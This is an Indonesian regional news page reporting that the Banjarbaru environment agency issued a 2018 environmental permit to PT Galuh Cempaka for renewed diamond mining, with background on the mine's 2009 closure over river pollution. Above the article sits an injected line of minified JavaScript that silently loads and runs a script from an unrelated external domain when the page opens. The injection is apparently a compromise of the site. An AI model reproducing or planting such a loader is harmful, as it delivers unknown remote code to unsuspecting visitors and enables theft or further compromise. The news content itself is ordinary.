(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dinas Lingkungan Hidup Banjarbaru Terbitkan Izin Lingkungan PT Galuh Cempaka


BANJARBARU, Dinas Lingkungan Hidup (LH) Banjarbaru, akhirnya menerbitkan izin lingkungan untuk PT Galuh Cempaka. Penerbitan izin lingkungan dengan No 660/0696/TL-DLH/2018 diteken oleh Plh Kepala Dinas Lingkungan Hidup Banjarbaru, Zainal Arifin S.Sos, M.AP, M.Kes, pertanggal 25 Juli 2018. Izin tersebut diberikan berdasarkan keputusan Walikota Banjarbaru No 008 tahun 2018 tentang Izin Lingkungan melalui Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu.

PT Galuh Cempaka rencananya bakal kembali menggarap pertambangan intan alluvial di atas lahan konsesi 7.470 hektare di Kota Banjarbaru.

Dalam dokumen Amdal PT Galuh Cempaka, ada rencana tahap operasi penambangan intan dengan menggunakan metode Bore Hole Mining, Dredging Exavator dan Metode Kering tergantung area. Penambangan intan dilakukan dengan kedalaman 18-20 meter, dilanjutkan dengan pengambilan gravel dan separasi batuan yang menghasilkan material Intan. Material Intan yang diambil dikumpulkan secara langsung dimuat kedalam dump truck untuk diangkut menuju Pabrik pengolahan.

Rencana PT Galuh Cempaka untuk menggarap tambang intan juga diakui Kepala Dinas Lingkungan Hidup (DLH) Provinsi Kalsel Ikhlas Indar.

“Berdasar kewenangan yang dimiliki Pemprov Kalsel dalam hal ini DLHD Kalsel, pengajuan dokumen Amdal harus ke Pemerintah Kota Banjarbaru, dan berkoordinasi dengan pihak peerintah provinsi,” jelasnya.

Ia mengakui sejak 2009, aktivitas pertambangan intan PT Galuh Cempaka telah terhenti, bukan karena izinnya yang telah mati namun disebabkan masalah teknis.

Saat era Gubernur Kalsel Rudy Ariffin pada 2009, pertambangan intan yang digarap PT Galuh Cempaka di Kelurahan Palam, Kecamatan Cempaka Kota Banjarbaru telah ditutup secara resmi. Akibat dugaan dampak lingkungan berupa pencemaran air sungai yang mencapai PH 2,27, serta melanggar Peraturan Daerah (perda) serta Peraturan Gubernur Kalsel.

Dari KA-Andal PT Galuh Cempaka ternyata luas area tambangnya tak hanya di Kelurahan Palam, namun juga mencakup Kelurahan Bangkal di Kecamatan Cempaka, serta Kelurahan Guntung Manggis di Kecamatan Landasan Ulin, Kota Banjarbaru. Perusahaan tambang intan ini juga masih mengantongi Keputusan Presiden Nomor B.53/Pres/I/1998, sehingga masih membidik wilayah konsesi di Kota Banjarbaru.(des)

Reporter : Des
Editor : Chell

Desy Arfianty

Recent Posts

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

44 menit ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

3 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

3 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

4 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

6 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

6 jam ago

This website uses cookies.